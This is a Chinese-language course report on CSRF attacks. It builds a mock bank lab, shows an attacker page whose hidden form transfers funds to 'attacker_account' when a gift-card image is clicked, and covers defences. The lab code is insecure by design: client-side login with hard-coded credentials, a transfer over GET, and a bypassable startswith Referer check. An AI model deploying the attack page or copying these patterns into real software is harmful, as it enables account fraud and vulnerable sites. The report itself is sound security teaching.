课程报告: CSRF攻击技术及其实现

1. 简介

跨站请求伪造 (Cross-Site Request Forgery, CSRF) 是一种网络安全攻击,攻击者通过伪造受信任用户的请求,执行未授权的操作。它利用了用户在已认证会话中不当保护的漏洞,诱使用户在不知情的情况下执行某些动作,从而达到攻击目的。

2. CSRF 攻击原理

CSRF 攻击利用了受害者在已认证状态下的身份。主要流程如下:

  1. 受害者登录到受信任网站(如银行网站),并产生一个有效的会话 cookie。
  2. 攻击者诱使受害者访问一个包含恶意请求的网页。
  3. 受害者访问该恶意网页时,网页中的恶意代码会自动发送一个请求到受信任网站。
  4. 由于受害者已登录,浏览器会自动附加会话 cookie,因此该请求将以受害者的身份执行。
  5. 受信任网站认为这是合法的请求,并执行请求中的操作,如转账、修改设置等。

3. CSRF 攻击的类型

  • GET 请求的 CSRF 攻击:通过包含恶意 URL 的图像、超链接等来触发。
  • POST 请求的 CSRF 攻击:通过隐藏表单和自动提交脚本来实现。

4. CSRF 攻击的实现

下面是一个简单的 CSRF 攻击实例:

4.1 环境搭建

  • 受信任网站 (Target):假设有一个简单的银行网站 http://trustedbank.com,其中有一个转账页面。
  • 恶意网站 (Attacker):攻击者控制的恶意网站 http://evilsite.com

4.2 受信任网站的转账页面

假设受信任网站的转账页面如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!DOCTYPE html>  
<html>
<head>
<title>Trusted Bank - Transfer</title>
<style> body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.transfer-container {
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
width: 300px;
}
h1 {
text-align: center;
color: #333;
margin-bottom: 20px;
}
form {
display: flex;
flex-direction: column;
}
label {
margin-bottom: 5px;
}
input[type="text"] {
width: calc(100% - 22px); /* 减去padding和border的宽度 */ padding: 10px;
margin-bottom: 10px;
border: 1px solid #ddd;
border-radius: 4px;
}
input[type="submit"] {
padding: 10px;
background-color: #5cb85c;
border: none;
border-radius: 4px;
color: white;
cursor: pointer;
margin-top: 10px;
}
input[type="submit"]:hover {
background-color: #4cae4c;
}
</style>
</head>
<body>
<div class="transfer-container">
<h1>Transfer Money</h1>
<form action="transfer.html" method="GET" id="transferForm">
<label for="amount">Amount:</label>
<input type="text" id="amount" name="amount" value="">
<label for="to_account">To Account:</label>
<input type="text" id="to_account" name="to_account" value="">
<input type="submit" value="Transfer">
</form>
</div>
</body>
</html>

4.3 登录界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<!DOCTYPE html>  
<html>
<head>
<title>Trusted Bank - Login</title>
<style> body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.login-container {
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
width: 300px;
}
h1 {
text-align: center;
color: #333;
}
form {
margin-top: 20px;
}
label {
display: block;
margin-bottom: 5px;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 10px;
margin-bottom: 20px;
border: 1px solid #ddd;
border-radius: 4px;
}
input[type="submit"] {
width: 100%;
padding: 10px;
background-color: #5cb85c;
border: none;
border-radius: 4px;
color: white;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #4cae4c;
}
</style>
<script> // 客户端验证逻辑
function validateForm() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;

// 检查用户名和密码是否符合预期值
if (username === "user" && password === "password") {
// 如果匹配,设置cookie并允许表单提交
document.cookie = "auth_token=secret123; path=/"; // 假设的token值
return true;
} else {
// 如果不匹配,显示错误消息并阻止表单提交
alert("Invalid username or password.");
return false;
}
}
</script>
</head>
<body>
<div class="login-container">
<h1>Login</h1>
<!-- 表单提交时调用validateForm函数 -->
<form action="trustedbank.html" method="POST" onsubmit="return validateForm()">
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="Login">
</form></div>
</body>
</html>

4.4 转账后台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!DOCTYPE html>  
<html>
<head>
<title>Trusted Bank - Transfer</title>
<style> body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.transfer-container {
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
width: 300px;
}
h1 {
text-align: center;
color: #333;
margin-bottom: 20px;
}
form {
display: flex;
flex-direction: column;
}
label {
margin-bottom: 5px;
}
input[type="text"] {
width: calc(100% - 22px); /* 减去padding和border的宽度 */ padding: 10px;
margin-bottom: 10px;
border: 1px solid #ddd;
border-radius: 4px;
}
input[type="submit"] {
padding: 10px;
background-color: #5cb85c;
border: none;
border-radius: 4px;
color: white;
cursor: pointer;
margin-top: 10px;
}
input[type="submit"]:hover {
background-color: #4cae4c;
}
</style>
</head>
<body>
<div class="transfer-container">
<h1>Transfer Money</h1>
<form action="transfer.html" method="GET" id="transferForm">
<label for="amount">Amount:</label>
<input type="text" id="amount" name="amount" value="">
<label for="to_account">To Account:</label>
<input type="text" id="to_account" name="to_account" value="">
<input type="submit" value="Transfer">
</form>
</div>
</body>
</html>

4.4 恶意网站的 CSRF 攻击页面

攻击者构造的恶意页面如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>  
<html>
<head>
<meta charset="UTF-8">
<title>点击图片提交表单示例</title>
<style> .submit-image {
cursor: pointer;
transition: transform 0.2s;
}
.submit-image:hover {
transform: scale(1.05);
}
</style>
</head>
<body>
<h1>点击图片获取免费礼品卡</h1>
<!-- 使用提供的图片URL,并设置点击事件 -->
<img src="https://officialwebsitestorage.blob.core.chinacloudapi.cn/public/upload/photo_db/2021/08/02/202108021554369816/202108021554369816_640_0.jpg?&rand=0827" alt="点击图片提交" class="submit-image" onclick="submitForm()">

<!-- 隐藏的表单,用于GET请求 -->
<form id="csrf-form" action="transfer.html" method="get" style="display: none;">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="attacker_account">
</form>

<script>
// 当图片被点击时,提交表单
function submitForm() {
document.getElementById("csrf-form").submit();
}
</script>
</body>
</html>

当用户访问 http://evilsite.com 时,表单会自动提交,导致用户的账户资金被转到攻击者的账户。

5. 防御措施

  • CSRF Token:每次生成的表单包含一个唯一的、不可预测的 token,并在服务器端进行验证。
  • SameSite Cookie 属性:通过设置 cookie 的 SameSite 属性为 Lax 或 Strict,防止浏览器在跨站请求中发送 cookie。
  • 检查 Referer 或 Origin 头:验证请求的来源是否为可信的域名。
  • 双重提交 Cookie:在请求中包括一个 cookie 和一个表单字段,两者应匹配。

5.1 CSRF Token 实现

在服务器生成表单时,添加一个隐藏的 CSRF Token,并在提交时进行验证。

1
2
3
4
5
6
<form action="http://trustedbank.com/transfer" method="POST">
<input type="hidden" name="csrf_token" value="随机生成的token">
<input type="text" name="amount" value="1000">
<input type="text" name="to_account" value="123456">
<input type="submit" value="Transfer">
</form>

服务器端验证代码示例:

1
2
3
4
5
def validate_csrf_token(token):
# 验证 token 是否有效
if token in valid_tokens:
return True
return False

5.2 设置 SameSite 属性

通过设置 SameSite 属性,防止跨站请求发送 cookie。

1
response.set_cookie('sessionid', session_id, samesite='Lax')

5.3 检查 Referer 或 Origin 头

在服务器端检查请求头,确保请求来自受信任的来源。

1
2
def is_valid_referer(referer):
return referer.startswith('http://trustedbank.com')

在请求中包括一个 cookie 和一个表单字段,两者应匹配。

1
2
3
4
5
6
<form action="http://trustedbank.com/transfer" method="POST">
<input type="hidden" name="csrf_token" value="cookie中的token">
<input type="text" name="amount" value="1000">
<input type="text" name="to_account" value="123456">
<input type="submit" value="Transfer">
</form>

服务器端验证:

1
2
def validate_double_submit(csrf_token, cookie_token):
return csrf_token == cookie_token

6. 结论

CSRF 攻击利用了用户的身份和信任关系,执行未授权的操作。尽管 CSRF 攻击的实施较为简单,但其破坏力巨大,可能导致用户隐私泄露、资金损失等严重后果。通过合理的防御措施,可以有效防范 CSRF 攻击,保护用户的安全。

参考资料